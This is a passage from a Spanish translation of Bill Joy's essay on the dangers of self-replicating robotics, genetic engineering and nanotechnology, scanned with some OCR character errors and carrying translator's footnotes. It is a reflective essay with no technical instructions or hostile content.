2. El pasaje que Kurzweil cita pertenece al Manifiesto de Kaczynski, el Unabomber,
el cual fue publicado entero, bajo extorsion, por The New York Times y The
Washington Post en un intento por terminar con su campafa de terror. Acuerdo
con David Gelernter, que dijo acerca de esta decision: “Fue una decision dura para
los diarios. Aceptar era ceder frente al terrorismo, y por lo que sabian, de cualquier
forma él estaba mintiendo. Por otro lado, aceptar podria detener las muertes. Habia
también una posibilidad de que alguien leyera el texto y diera alguna pista sobre
el autor; y eso es exactamente lo que pasé. EI hermano del sospechoso lo leyo, y
llam6 a la policia.”

“Yo hubiera dicho que no lo publicaran. Por suerte no me preguntaron.” (Drawing
Life: Surviving the Unabomber. Free Press, 1997. p. 120)

3. Garrett, Laurie, The coming plague: newly emerging diseases in a world out of balance.
London, Penguin, 1994. pp. 47-52, 414, 419, 452,
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El motivo de muchas de esas sorpresas parece evidente: los sis-
temas en cuestidén son complejos, e involucran interacciones y relaciones
de ida y vuelta entre muchos componentes. Cualquier cambio en uno de
éstos sistemas se propagara en formas que son muy dificiles de prede-
cir, esto es especialmente cierto cuando hay involucradas acciones
humanas.

Empecé mostrandoles a amigos la cita de Kaczynski en La era de las
magquinas espirituales: les daba el libro de Kurzweil, dejaba que leyeran el
fragmento, y después miraba cémo reaccionaban al enterarse de quién
lo habia escrito. Por esa época, encontré el libro de Moravec Robot: Mere
Machine to Trascendental Mind.4 Moravec es uno de los lideres en la
investigacion en robdtica, y fue fundador del programa de investigacion
de robdtica mas grande del mundo, en la Universidad de Carnegie
Mellon. Robot me dio mas material para probar con mis amigos —-mate-
rial que sorprendentemente apoyaba el argumento de Kaczynski. Por
ejemplo:

El corto plazo (principios de década)

Las especies bioldgicas casi nunca sobreviven a encuentros con com-
petidores superiores. Diez millones de afios atras, América del Norte y
del Sur estaban separadas por un istmo de Panama hundido. Sud
América, como hoy Australia, estaba habitada por mamiferos marsu-
piales, incluyendo algunos con bolsas abdominales equivalentes de las
ratas, ciervos y tigres. Cuando el istmo que conectaba el Sur con el
Norte emergio, les tomo sélo algunos miles de afios a las especies pla-
centadas del norte, con metabolismos y sistemas nerviosos y reproduc-
tivos un poco mas efectivos, desplazar y eliminar a casi todos los mar-
supiales del sur.

En un mercado totalmente libre, los robots superiores seguramente
afectarian a los humanos como los placentados norteamericanos afec-
taron a los marsupiales de Sudamérica (y como los humanos han afec-
tado a innumerables especies). Las industrias robéticas competirian
entre ellas con vigor por materia, energia, y espacio, llevando even-
tualmente los precios mas alla del alcance humano. Imposibilitados de
afrontar las necesidades vitales, los humanos bioldgicos serian obliga-
dos a desaparecer.

4. Moravec, Hans P., Robot: Mere Machine to Trascendental Mind. New York, Oxford
University Press, 1999. (N. del E.)
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Con seguridad se puede respirar tranquilos todavia, porque no vivi-
mos en un mercado libre absoluto. Los gobiernos regulan los compor-
tamientos, especialmente recaudando impuestos. Aplicados con juicio,
los frenos gubernamentales podrian sostener a una poblacion humana
que viva con calidad de los frutos del trabajo-robot, quizas por un largo
tiempo.

Una distopia de manual -y Moravec recién esta empezando.
Prosigue discutiendo cémo nuestra principal ocupacion en el siglo XXI
serd “garantizar cooperacion continua de las industrias de robots”
mediante leyes que declaren que éstos deben ser “amigables”,5 y descri-
biendo qué tan peligroso puede ser un ser humano “luego de conver-
tirse en un robot superinteligente sin limites establecidos.” La vision de
Moravec es que los robots eventualmente nos van a superar —que los
humanos se enfrentan abiertamente a la extincion.

Decidi que era hora de hablar con mi amigo Danny Hillis. Danny se
hizo famoso como co-fundador de Thinking Machines Corporation
[Corporacién de Maquinas Pensantes], que construyé una muy
poderosa supercomputadora paralela. Pese a mi trabajo como Director
Cientifico en Sun Microsystems, soy mas arquitecto de computadoras
que cientifico, y respeto los conocimientos de Danny sobre ciencia fisica
y de la informaciéon mas que los de cualquier otra persona que conozca.
Danny también es un futurista muy influyente que piensa a largo plazo
—cuatro afos atras creé la Long Now Foundation [Fundacion del Largo
Presente], que estd construyendo un reloj disefiado para durar 10.000
afios, en un intento por llamar la atencion acerca de lo patéticamente

5. Isaac Asimov describi6 lo que se convertiria en la vision més célebre acerca de
reglas éticas para el comportamiento de los robots en su libro Yo, Robot, de 1950,
con sus Tres Leyes de la Robdtica [hay trad. cast. Yo, robot. Buenos Aires,
Sudamericana, 1977]:
1.Un robot nunca debe dafiar a un ser humano, o por inaccioén, permi-
tir que un ser humano resulte dafiado.
2. Un robot debe obedecer las 6rdenes provenientes de un ser humano,
excepto cuando estas 6rdenes entren en contradiccion con la Primera
Ley.
3. Un robot debe proteger su propia existencia, siempre y cuando esta
proteccion no entre en contradiccién con la Primera o la Segunda Ley.
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cortos que son los horizontes de tiempo por los que se preocupa nues-
tra sociedad.6

Asi es que viajé a Los Angeles nada mas que para cenar con Danny
Y su esposa, Pati. Pasé por mi rutina de contarles las ideas y fragmentos
que me resultaban tan chocantes. La respuesta de Danny —en relacion al
escenario de Kurzweil de humanos fundiéndose con robots— vino de
inmediato, y me sorprendi6. Dijo, sencillamente, que los cambios suce-
derian gradualmente, y que nos acostumbrariamos a ellos.

Pero supongo que no estaba sorprendido del todo. Habia visto una
cita de Danny en el libro de Kurzweil en la que decia: “Quiero tanto a
mi cuerpo como cualquiera, pero si puedo llegar a los 200 afios con un
cuerpo de silicona, lo voy a aceptar.” Daba la sensacion de estar tran-
quilo con la manera en que se daban las cosas y sus eventuales riesgos,
mientras que yo no.

Mientras hablaba y pensaba sobre Kurzweil, Kaczynski y Moravec,
de pronto me acordé de una novela que habia leido unos 20 afios antes
—La peste blanca, de Frank Herbert- en la que un biélogo molecular se
vuelve loco por el asesinato sin sentido de su familia. Para vengarse crea
y dispersa una plaga nueva y contagiosa que mata ampliamente pero de
manera selectiva. (Tenemos suerte de que Kaczynski era matematico, no
biélogo molecular). También me vino a la mente el Borg de Star Trek, un
enjambre de criaturas en parte biolégicas y en parte roboéticas con un
enorme impulso destructivo. Las catastrofes Borg son materia prima de
la ciencia ficcion, entonces ¢por qué no me habia angustiado antes por
distopias robdticas como esa? ;Por qué no habia, ademas, otras per-
sonas preocupadas por estos escenarios de pesadilla?

Parte de la respuesta yace en nuestra actitud hacia lo nuevo —en
nuestra disposicion a familiarizarnos rapido y a aceptar sin cuestionar.
Acostumbrados a vivir con adelantos cientificos que se dan casi como
una rutina, todavia tenemos que hacernos la idea de que las tecnologias
mas seductoras del siglo XXI —robdtica, ingenieria genética y nanotec-
nologia— plantean una amenaza distinta que la de las tecnologias que
han venido antes. Puntualmente, los robots, los organismos disefiados y
la nanotecnologia comparten un peligroso factor amplificador: pueden

6. Ver “Test of time”, en Wired, N° 8.03, afio 8, marzo de 2000. p. 78 (hay version en
Internet: http://www.wired.com/wired/archive/8.03/eword.html?pg=2/).
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auto-replicarse.” Una bomba se hace detonar una sola vez —pero un
robot puede volverse muchos, y rapidamente salirse de control.

Gran parte de mi trabajo en los Gltimos 25 afios estuvo centrado en
redes de computadoras, donde el envio y recepcion de mensajes crea la
posibilidad de replicaciones fuera de control. Pero mientras que la repli-
cacion en una computadora o una red de computadoras puede ser una
gran molestia, a lo sumo cuelga una computadora o hace caer un servi-
cio de redes. La auto-replicacion sin controles en estas nuevas tec-
nologias conduce a riesgos mucho mayores: riesgo de dafios sustan-
ciales dentro del mundo fisico.

Cada una de estas tecnologias, ademas, anuncia grandes promesas:
la vision de semi-inmortalidad que Kurzweil ve en sus suefios roboticos
nos transporta al futuro; la ingenieria genética podria pronto dar
tratamientos, e incluso curas, para la mayoria de las enfermedades; y la
nanotecnologia y la nanomedicina pueden encargarse de todavia més
enfermedades. Juntas podrian extender de manera significativa el
promedio de nuestras expectativas de vida y mejorar su calidad. Sin
embargo, con cada una de estas tecnologias, una serie de minimos
avances, importantes en si mismos, conducen hacia una acumulacion
de gran poder e, inseparablemente, de gran peligro.

¢Qué era distinto en el siglo XX? Ciertamente, las tecnologias en
gue se basaban las armas de destruccion masiva (ADM) —-nucleares,
bioldgicas, y quimicas (NBQ)- eran poderosas, y las armas eran una
enorme amenaza. Pero fabricar armas nucleares requeria, al menos por
un tiempo, acceso tanto a materiales muy escasos, a veces incon-
seguibles, como a informacién altamente protegida; los programas de
armas bioldgicas y quimicas también tendian a requerir actividades a
gran escala.

Las tecnologias del siglo XXI —genética, nanotecnologia, y robética
(GNR)- son tan poderosas que pueden impulsar clases enteramente
nuevas de accidentes y abusos. Todavia mas peligroso: por primera vez
estos accidentes y abusos estan al alcance de individuos o grupos
reducidos. No requeriran gran infraestructura ni materiales con compli-
caciones. El conocimiento bastara para poder usarlas.

7. De auto-replicate”: hacer copias de si sin ayuda exterior. (N. del. T.)
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Asi, tenemos la posibilidad ya no sé6lo de armas de destruccion
masiva sino de destruccion masiva habilitada por el conocimiento, sien-
do esta destructividad ampliada enormemente por el poder de la auto-
replicacion.

Yo creo que no es una exageracion decir que estamos en el punto
maés elevado de la perfeccion del mal extremo, un mal cuya posibilidad
va mas alla de la que las armas de destruccion masiva le daban a los
estados-nacion, y que alcanza niveles sorprendentes y terribles de acu-
mulacién de poder en manos de individuos aislados.

Nada en la manera en que me vi relacionado con las computadoras
me insinuaba que iba a tener que hacerme cargo de estos temas.

Mi vida ha estado impulsada por una profunda necesidad de hacer
preguntas y hallar respuestas. Cuando tenia 3 afios, ya leia, por lo que
mi padre me llevo a la escuela, donde me senté en las rodillas del direc-
tor y le lei un cuento. Empecé temprano la escuela, después me salteé
un grado, y me fugué a través de los libros —estaba increiblemente moti-
vado para aprender. Hacia muchas preguntas, a menudo volviendo
locos a los adultos.

En la adolescencia estaba muy interesado en la ciencia y la tec-
nologia. Queria ser radio aficionado, pero no tenia plata para comprar
el equipo. La radio y los operadores de radio eran la Internet de la
época: muy adictiva, y bastante solitaria. Mas alla de lo econémico, mi
madre bajé el pulgar —no iba a ser radio aficionado; ya era demasiado
antisocial.

A lo mejor no tenia tantos amigos intimos, pero estaba lleno de
ideas. En la secundaria, ya habia descubierto a los grandes escritores de
ciencia ficcion. Me acuerdo en especial de Have Spacesuit Will Travel de
Heinlein, y Yo, Robot de Asimov, con sus Tres Leyes de la Robdtica. Me
fascinaron las descripciones de los viajes en el espacio, y queria tener un
telescopio para mirar las estrellas; dado que no tenia plata para comprar
o hacer uno, sacaba libros de construccion de telescopios de la bibliote-
cay, ensu lugar, leia sobre la manera en que se construian. Volaba en mi
imaginacion.

Los jueves a la noche mis padres iban al bowling, y los chicos nos
quedabamos solos en la casa. Era la noche del Star Trek original de Gene
Roddenberry, y el programa me caus6é una gran impresion. Terminé
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aceptando la nocién de que los humanos tenian un futuro en el espacio,
al estilo del Far West, con grandes héroes y aventuras. La vision de
Roddenberry de los siglos venideros era una de valores morales firmes,
basados en cddigos como la Directiva Principal: no interferir en el desa-
rrollo de civilizaciones menos avanzadas tecnoldgicamente. Esto era
algo muy atrapante para mi: los que dominaban ese futuro eran
humanos con ética, no robots, y yo hice propio el suefio de
Roddenberry.

Me destaqué en matematicas en la secundaria, y cuando estudiaba
paraingenieria en la Universidad de Michigan, segui el plan de estudios
de la especializacion en matematica. Resolver problemas matematicos
era un desafio interesante, pero cuando descubri las computadoras
encontré algo mucho mejor: una maquina en la cual vos podias poner
un programa que intentaba resolver un problema, y luego la maquina
rapidamente buscaba la solucién. La computadora tenia nociones muy
precisas de lo correcto/lo incorrecto, lo falso/lo verdadero. Eso era muy
seductor.

Tuve suerte y pude conseguir empleo programando algunos de los
primeros modelos de supercomputadoras, y descubri el poder sorpren-
dente de las grandes maquinas para simular disefios numéricamente
avanzados. Cuando fui a la escuela de graduados en Berkeley a media-
dos de los ‘70, empecé a quedarme despierto hasta tarde, o toda la
noche, inventando nuevos mundos dentro de las maquinas.
Resolviendo problemas. Escribiendo el cédigo que tanto pedia ser
escrito.

En The Agony and the Ecstasy, la novela biografica de Irving Stone
sobre Miguel Angel, Stone describe vivamente como Miguel Angel
sacaba las estatuas de la piedra, “rompiendo el hechizo del marmol”,
esculpiendo con las imagenes de su mente.8 En mis momentos de

8. Miguel Angel escribi6 un soneto que empieza asi:

Non ha I'ottimo artista alcun concetto
Ch” un marmo solo in sé non circonscriva
Col suo soverchio; e solo a quello arriva
La man che ubbidisce all” intelleto.

No tenia el mejor de los artistas pensamiento que mostrar
Que la piedra aspera en su superflua cubierta
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mayor éxtasis, el software en la computadora se me aparecia de la
misma manera. Una vez que me lo habia imaginado, yo sentia que ya
estaba ahi dentro, en la computadora, esperando a ser liberado. Pasar la
noche despierto era un precio pequefio por liberarlo —por darles forma
concreta a las ideas.

Después de unos afios en Berkeley empecé a entregar algo del
software que habia estado escribiendo —-un sistema instructivo de
Pascal, utilitarios de Unix, un editor de texto llamado vi (que todavia es
ampliamente usado, aunque suene raro, mas de 20 afios después)- a
otros que tenian minicomputadoras similares, PDP-11 y VAX. Estas
aventuras de software eventualmente se convirtieron en la version de
Berkeley del sistema operativo Unix, que se convirtié en un “éxito-
desastre” personal —lo queria tanta gente que nunca terminé el doctora-
do. En cambio consegui empleo trabajando para Darpa, poniendo el
Berkeley Unix en Internet y arreglandolo para que fuera confiable y
pudiera correr bien programas pesados para investigacion. Todo esto
era divertido y muy gratificante. Y, sinceramente, no vi robots por ahi,
0 en ningun lugar de los alrededores.

Igualmente, al empezar los ‘80, me estaba ahogando. Las entregas
sucesivas de Unix eran muy exitosas, y mi proyecto personal consiguio
dinero y algunos ayudantes, pero el problema en Berkeley era siempre
el espacio de la oficina, mas que el dinero —no se contaba con el lugar
que necesitaba el proyecto, asi que cuando aparecieron los otros fun-
dadores de Sun Microsystems me abalancé para unirme a ellos. En Sun,
las largas horas siguieron en los dias en que aparecian las primeras esta-
ciones de trabajo y las computadoras personales, y he disfrutado de par-
ticipar en la creacion de microprocesadores avanzados y tecnologias de
Internet como Java y Jini.

No traiga ya; romper el hechizo del marmol
Es todo a lo que la mano que sirve al intelecto puede aspirar.

Stone describe el proceso:

“No trabajaba a partir de sus dibujos o0 modelos de arcilla, a todos los habia deja-
do de lado. Estaba esculpiendo de las imégenes en su mente. Sus 0jos y sus manos
sabian donde debian emerger cada linea, curva, espesor, y a qué profundidad en el
corazon de la piedra para crear el bajo relieve.” (The Agony and the Ecstasy. Garden
City, Doubleday, 1961. pp. 6, 144 [hay trad. cast.: La agonia y el éxtasis: vida de Miguel
Angel. Buenos Aires, Emecé, 1978].)
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De todo esto, pienso que queda claro que no soy un luddita. Por el
contrario, siempre estuve convencido del valor de la investigacion cien-
tifica de la verdad y de la capacidad de la buena ingenieria para aportar
progreso material. La Revolucién Industrial ha mejorado incalculable-
mente la vida de todos a lo largo del altimo par de siglos, y siempre
esperé que mi carrera participara en la creacién de soluciones valiosas
para problemas reales, un problema a la vez.

No he sido defraudado. Mi trabajo ha tenido mas impacto del que
hubiera sofiado y ha sido usado més ampliamente de lo que hubiera
esperado. He pasado los ultimos 20 afios tratando de descubrir como
hacer para que las computadoras sean tan confiables como quiero que
sean (por ahora no estan ni cerca), y como hacer para que sean faciles de
usar (algo que tuvo todavia menos éxito). Pese a algunos progresos, los
problemas que quedan son todavia desafios mas grandes.

Pero mientras estaba al tanto de los dilemas morales en relacién a
las consecuencias tecnoldgicas de campos como la investigacion de
armas, no esperaba enfrentarme a estos temas en mi propio campo, o al
menos no tan pronto.

A lo mejor lo que pasa es que suele ser dificil ver todo el panorama
mientras estas en medio de los cambios. No llegar a entender las conse-
cuencias de las invenciones mientras estamos en la ola de los des-
cubrimientos y de los avances, pareceria ser un error comun en cientifi-
cos y tecndlogos; nos hemos dejado llevar desde hace mucho por el
sobrecogedor deseo de saber, que es natural a la aventura cientifica, sin
detenernos a darnos cuenta de que el progreso hacia nuevas y mas
poderosas tecnologias puede cobrar vida propia.

Me he dado cuenta hace mucho que los grandes avances de la tec-
nologia de la informacién vienen no del trabajo de cientificos informati-
cos, de arquitectos de computadoras o de ingenieros eléctricos sino de
investigadores de fisica. Los fisicos Stephen Wolfram y Brosl Hasslacher
me introdujeron, en los tempranos ‘80, a la teoria del caos y a los sis-
temas no-lineales. Aprendi acerca de sistemas complejos de conversa-
ciones con Danny Hillis, el bidlogo Stuart Kauffman, el Nobel de Fisica
Murray Gell-Mann y otros. Mas recientemente, Hasslacher y el inge-
niero eléctrico y fisico mecanico Mark Reed han estado dandome un
panorama de las posibilidades increibles de la electrénica molecular.
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En mi propio trabajo en el co-disefio de tres arquitecturas de micro-
procesadores —SPARC, picoJAVA, y MAJC—-, y como disefiador de suce-
sivas implementaciones a partir de éstos, he logrado familiarizarme en
profundidad y sin mediaciones con la ley de Moore. La ley de Moore®
ha predicho correctamente el indice exponencial de mejoramiento de la
tecnologia de semiconductores. Hasta el afio pasado yo creia que el
indice de innovaciones predicho por la ley de Moore podia sostenerse
como mucho hasta el 2010, momento en que empezarian a encontrarse
limitaciones fisicas. No era obvio para mi que iba a llegar una tecnologia
nueva justo a tiempo para sostener el ritmo de avance.

Pero debido a avances radicales que se dieron recientemente en
areas como la electrénica molecular —en donde se reemplazan los tran-
sistores dispuestos litograficamente por atomos y moléculas indivi-
duales—, y en el de las tecnologias de nanoescalas relacionadas a las
anteriores, deberiamos estar preparados para cumplir o exceder el
indice de progreso de la ley de Moore por otros 30 afios. Para el 2030, es
probable que podamos construir, en cantidad, maquinas un millén de
veces mas poderosas que las computadoras personales de hoy en dia-lo
que es suficiente para implementar los suefios de Kurzweil y Moravec.

Al combinarse este enorme poder informatico con los avances en
manipulacion de las ciencias fisicas y el nuevo, y profundo, conocimien-
to de la genética, se esta desatando un enorme poder transformador.
Estas combinaciones abren la oportunidad de redisefiar completamente
el mundo, para mejor o peor: los procesos de replicacion y evolucion
que han estado confinados al mundo natural estan por volverse reinos
del quehacer humano.

Disefiando software y microprocesadores, yo nunca habia tenido la
sensacion de que estaba disefiando una maquina inteligente. El software
y el hardware son tan fragiles, y la capacidad de las maquinas de “pen-
sar” se muestra tan ausente que, incluso como posibilidad, siempre me
parecié muy alejada en el futuro.

9. Segun la ley de Moore cada veinticuatro meses la industria de la informatica
logra duplicar la cantidad de transistores instalados en un circuito integrado del
mismo tamafio y costo de produccion. La Ley ha venido corroborandose desde
1975. (N. del T.)
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Pero ahora, con la perspectiva de un poder de procesamiento de
nivel humano en unos 30 afios, una idea nueva surge sola: que podria
estar trabajando para crear herramientas que van a permitir la creacion
de la tecnologia que podria reemplazar a nuestra especie. ;COmo me
siento al respecto? Muy incémodo. Habiendo luchado toda mi carrera
para construir sistemas de software confiables, me parece a mi mas que
probable que este futuro no va a funcionar tan bien como alguna gente
se imagina. Mi experiencia personal sugiere que tendemos a sobreva-
luar nuestras habilidades para el disefio.

Dado el increible poder de estas tecnologias novedosas, ¢nho
deberiamos estar preguntandonos como podemos coexistir mejor con
ellas? ;Y si nuestra propia extincion es contemplable como posibilidad
por las consecuencias de nuestro desarrollo tecnoldgico, no deberiamos
proceder con cuidado?

El suefio de la robdtica es, primero, que las maquinas inteligentes
puedan hacer el trabajo por nosotros, permitiéndonos tener vidas de
ocio, devolviéndonos al Edén. Sin embargo, en su historia de estas
ideas, Darwing among the Machines, George Dyson [Reading, Addison-
Wesley, 1997] advierte: “En el juego de la vida y la evolucion hay tres
jugadores en la mesa: seres humanos, naturaleza y maquinas. Estoy
firmemente del lado de la naturaleza. Pero la naturaleza, sospecho, esta
del lado de las maquinas.” Como hemos visto, Moravec esta de acuerdo
en la creencia de que podriamos llegar a no sobrevivir luego del encuen-
tro con las especies robots superiores.

¢Qué tan pronto podria ser construido ese robot inteligente? Los
avances anunciados en el poder de procesamiento de las computadoras
parecen hacerlo posible para el 2030. Y una vez que ya existe un robot
inteligente, queda un pequefio paso hacia una especie robot —hacia un
robot inteligente que puede hacer copias evolucionadas de si mismo.

Un segundo suefio de la robética es que gradualmente nos reem-
placemos a nosotros mismos con nuestra tecnologia robética, consi-
guiendo una casi inmortalidad mediante la descargal0O de nuestras con-

10. “Downloading”, término utilizado en informatica para referirse a un envio de
datos de una computadora a otra, generalmente separadas y comunicadas en red
o por moédem (N. del T.)
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ciencias; es el proceso al que Danny Hillis piensa que nos iremos acos-
tumbrando lentamente y que Ray Kurzweil describe con elegancia en La
era de las méaquinas espirituales. (Estamos empezando a ver acercamientos
a este tema en la implantacién de dispositivos vinculados a computa-
doras dentro del cuerpo humano, como se muestra en la portada de
Wired de febrero de 2000).

¢ Pero si nos descargamos en nuestra tecnologia, qué posibilidades
hay de que después del proceso sigamos siendo nosotros, o incluso
humanos? Me parece a mi mucho mas probable que una existencia
robética no fuera como una humana, de ninguna manera en que la
entendemos, que los robots no serian de ninguna manera nuestros hijos,
que por este camino nuestra humanidad seguramente se perderia.

La ingenieria genética promete: revolucionar la agricultura incre-
mentando las producciones de trigo, reduciendo el uso de pesticidas;
crear decenas de miles de nuevas especies de bacterias, plantas, virus y
animales; reemplazar la reproduccién, o mejorarla, con la clonacion;
crear curas para muchas enfermedades, incrementando nuestra expec-
tativa y calidad de vida; y mucho, mucho més. Ahora sabemos con
certeza que estos profundos cambios en las ciencias bioldgicas son inmi-
nentes y desafiaran todas nuestras nociones de lo que es la vida.

Tecnologias como la clonacion humana, en particular, han genera-
do preocupacién por los profundos problemas éticos y morales a que
nos enfrentan. Si, por ejemplo, fuéramos a remodelarnos en varias
especies separadas y distintas, usando el poder de la ingenieria genéti-
ca, entonces desestabilizariamos la nocion de igualdad que es la piedra
fundamental de nuestra democracia.

Dado el increible poder de la ingenieria genética, no es sorpren-
dente que haya debates de envergadura en relacién a la seguridad de su
uso. Mi amigo Amory Lovins recientemente co-escribio, junto con
Hunter Lovins, una nota de opinién que brinda una mirada ecoldgica en
torno a éstos peligros. Entre sus preocupaciones se halla el hecho de que
“la nueva botanica vincula el desarrollo de las plantas a su éxito, no evo-
lutivo, sino econdmico.”11 La extensa carrera de Amory ha estado o-

11. Ver Lovins, Amory B. y Lovins, L. Hunter, "A Tale of Two Botanies", en Wired,
Afo 8, N° 8.04, abril de 2000. p. 247 (hay versibn en internet:
http://www.wired.com/wired/archive/8.04/botanies.html/).



212 BILL JOY

rientada a los recursos y la eficiencia energética a partir de una mirada
de sistema-total sobre los sistemas-humanos; esa mirada de sistema-
total muchas veces encuentra soluciones simples, inteligentes, a lo que
de otra manera se convierte en problemas tortuosos, y que también se
aplica a nuestro tema.

Después de leer la nota de Lovins, lei un articulo de Gregg
Easterbrook en la péagina editorial de The New York Times (19 de
noviembre de 1999) acerca de los cereales modificados, bajo el titulo de
“Comida para el Futuro: Algun dia el arroz vendra con Vitamina A ya
incorporada. A no ser que ganen los Ludditas.”

¢Son ludditas Amory y Hunter Lovins? Ciertamente no. Creo que
todos estamos de acuerdo en que el arroz dorado, con vitamina A incor-
porada, es algo bueno, si se desarrolla con cuidado y respeto por los
eventuales peligros de mover genes a través de las fronteras de las
especies.

La preocupacion por los peligros inherentes a la ingenieria genética
esta empezando a aumentar, como lo refleja la nota de Lovins. El publi-
co en general esta al tanto, e incobmodo respecto a las comidas modifi-
cadas genéticamente, y parece rechazar la idea de que estas comidas
deberian venderse sin identificarse como tales.

Pero la tecnologia de ingenieria genética tiene ya mucho tiempo.
Como sefialan los Lovins, el USDA [Departamento de Agricultura de
los Estados Unidos] lleva aprobados unos 50 cereales genéticamente
modificados para venta libre; méas de la mitad de los porotos de soja y
un tercio del trigo del mundo contienen hoy genes provenientes de
otras formas de vida.

Mientras que hay varios temas importantes relacionados a esto, mi
mayor inquietud con respecto a la ingenieria genética es mas concreta:
gue da poder —sea militar, accidentalmente, 0 en un acto terrorista
deliberado- de crear una Peste Blanca.

Las diversas maravillas de la nanotecnologia fueron imaginadas
por primera vez por el ganador del Nobel de fisica Richard Feynman en
un discurso que dio en 1959, publicado bajo el titulo de “Hay bastante
lugar en el fondo”. El libro que causé una gran impresién en mi, a me-
diados de los ‘80, fue Engines of Creation de Eric Drexler,12 en el que

12. Drexler, K. Eric, Engines of Creation: The coming era of Nanotechnology. Doubleday;,
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describia con belleza como la manipulacion de materia a un nivel atémi-
co podria crear un futuro utdépico de abundancia, donde casi todo
podria fabricarse a bajo costo, y casi cualquier enfermedad o problema
fisico podria resolverse usando nanotecnologia e inteligencia artificial.

Un libro posterior, Unbounding the Future: The Nanotechnology
Revolution,13 que Drexler co-escribié, imagina algunos de los cambios
que podrian tener lugar en un mundo en que tuviéramos “ensam-
bladores” a nivel molecular. Los ensambladores podrian hacer posible
energia solar a costos bajisimos, curas para el cancer y el resfrio comun
por refuerzo del sistema inmunolégico humano, limpieza esencial-
mente completa del medioambiente, supercomputadoras de bolsillo
increiblemente baratas —de hecho, cualquier producto seria fabricable a
un costo no mayor que el de la madera—, vuelos al espacio mas accesi-
bles que los vuelos transoceédnicos de hoy en dia, y recuperacién de
especies extinguidas.

Me acuerdo de sentirme muy bien respecto a la nanotecnologia
después de haber leido Engines of Creation. Como tecndlogo, me dio una
sensacion de calma —o sea, la nanotecnologia nos mostraba que era posi-
ble un progreso increible y, de hecho, quizas inevitable. Si la nanotec-
nologia era nuestro futuro, entonces no me sentia presionado a resolver
tantos problemas en el presente. Llegaria al futuro de Drexler en el
tiempo previsto; podia disfrutar mas de la vida aqui y ahora. No tenia
sentido, dada su visién, quedarse despierto toda la noche, todo el tiem-
po.

La vision de Drexler también llevo a bastante diversion. Cada tanto
me ponia a describir las maravillas de las nanotecnologia a otros que no
habian oido hablar de ellas. Después de cansarlos con todas las cosas
que describia Drexler yo les podia dar una tarea para el hogar inventa-
da por mi: “Usen nanotecnologia para crear un vampiro; para mayor
puntaje creen un antidoto”.

New York, 1986 (hay version en internet: http://www.foresight.org/EOC/index.html/)
(hay trad. cast.: La nanotecnologia: el surgimiento de las maquinas de creacion.
Barcelona, Gedisa, 1993). (N. del E.)

13. Drexler, K. E., Peterson, C. y Pergamit, G., Unbounding the Future: The
Nanotechnology Revolution. New York, William Morrow, 1991 (hay version en inter-
net: http://www.foresight.org/UTF/Unbound_LBW/index.html/). (N. del E.)
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Con estas maravillas venian claros peligros, de los cuales estaba al
tanto. Como dije en una conferencia sobre nanotecnologia en 1989, “No
podemos simplemente hacer nuestra ciencia y no preocuparnos por
estos temas éticos.”14 Pero mis conversaciones posteriores con fisicos
me convencieron de que la nanotecnologia quizas ni siquiera llegara a
funcionar —o, por lo menos, no lo haria en los préximos tiempos. Poco
después me mudé a Colorado, a un grupo de estudio que habia arma-
do, y el foco de mi trabajo cambié al software para Internet, especifica-
mente a ideas que se convirtieron en Java y Jini.

Entonces, el verano pasado, Brosl Hasslacher me conté que la elec-
tronica molecular a nanoescalas ya era posible. Estas eran noticias muy
nuevas para mi, y pienso que para mucha gente -y cambiaron radical-
mente mi opinidn sobre la nanotecnologia. Me llevaron de nuevo a
Engines of Creation. Leyendo el libro de Drexler después de mas de 10
afios, me shockeé darme cuenta lo poco que me acordaba de la larga
seccién titulada “Peligros y Esperanzas”, que incluia una discusion
acerca de como las nanotecnologias podian convertirse en “motores de
destruccion”. De hecho, en mi relectura de este material hoy, quedé sor-
prendido por lo naif que parecen algunas de las propuestas de seguri-
dad de Drexler, y por lo mucho més grandes que juzgo ahora los peli-
gros de lo que Drexler parecia hacerlo por entonces. (Habiendo antici-
pado y descrito muchos problemas técnicos y politicos de la nanotec-
nologia, Drexler lanzé el Foresight Institute [Instituto para la Prevision]
a fines de los ‘80 “para ayudar a preparar a la sociedad para las nuevas
tecnologias de avanzada”-sobre todo, la nanotecnologia.)

El salto que permitiria el desarrollo de ensambladores parece
factible dentro de los proximos 20 afios. La electrénica molecular —el
nuevo subcampo de la nanotecnologia en el que moléculas individuales
son elementos de los circuitos— deberia madurar rapidamente y vol-
verse enormemente lucrativo a lo largo de esta década, generando un
gran incremento de inversiones en todas las nanotecnologias.

Desafortunadamente, como con la tecnologia nuclear, es mas facil
crear usos destructivos para la nanotecnologia que usos constructivos.

14. First Foresight Conference on Nanotechnology, octubre de 1989, charla titulada
“The future of computation”. Publicado en Crandall, B.C. y Lewis, J. (eds.),
Nanotechnology: Research and Perspectives. Cambridge, MIT Press, 1992. p. 269.
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La nanotecnologia tiene claros usos militares y terroristas, y no se nece-
sita ser suicida para liberar un dispositivo nanotecnoldgico masiva-
mente destructivo —tales dispositivos pueden construirse para ser
destructivos selectivamente, afectando, por ejemplo, sélo una cierta area
geograéfica, o un grupo de personas genéticamente distintivas.

Una consecuencia inmediata del contrato faustiano por obtener el
gran poder de la nanotecnologia, es que corremos un grave riesgo —el
riesgo de que podriamos destruir la biosfera de la que depende toda la
vida.

Como Drexler explica:

‘Plantas’ con ‘hojas’ que no fueran mas eficientes que las células solares
de hoy en dia, podrian prevalecer sobre las plantas reales, poblando la
biosfera de un follaje inédito. Peor todavia, “bacterias” omnivoras
podrian prevalecer sobre las bacterias reales: podrian desparramarse
como polen por el aire, replicarse tranquilamente, y reducir la biosfera
a polvo en cuestion de dias. Algunos replicadores peligrosos facilmente
podrian ser demasiado resistentes, pequefios, y rapidos en su proli-
feracion, como para detenerlos —por o menos si no nos preparamos.
Tenemos bastantes problemas ya, controlando los virus y la mosca de
la fruta.

Entre los conocedores de la nanotecnologia, este peligro ha pasado
a conocerse como el “problema del fango gris”. Aunque las masas de
replicadores descontrolados no necesiten ser grises o viscosas, “fango
gris” estaria enfatizando que los replicadores capaces de acabar con la
vida podrian ser menos atractivos que cualquier especie de pasto
comun. Podrian ser superiores en un sentido evolutivo, pero esto no los
hace més valiosos en si mismos.

La amenaza del “fango gris” deja en claro una cosa: no nos podemos
permitir cierto tipo de accidentes con ensambladores replicantes.

El fango gris seria sin duda un final deprimente para nuestra aven-
tura como habitantes de la Tierra, mucho peor que el fuego o el agua, y
seria un final que podria salir de un simple laboratorio.15

15. En su novela de 1963, Cat’s Craddle, Kurt Vonnegut imaginé un accidente estilo
“fango gris” donde una forma de hielo llamada hielo-nueve, que se hace sélida a
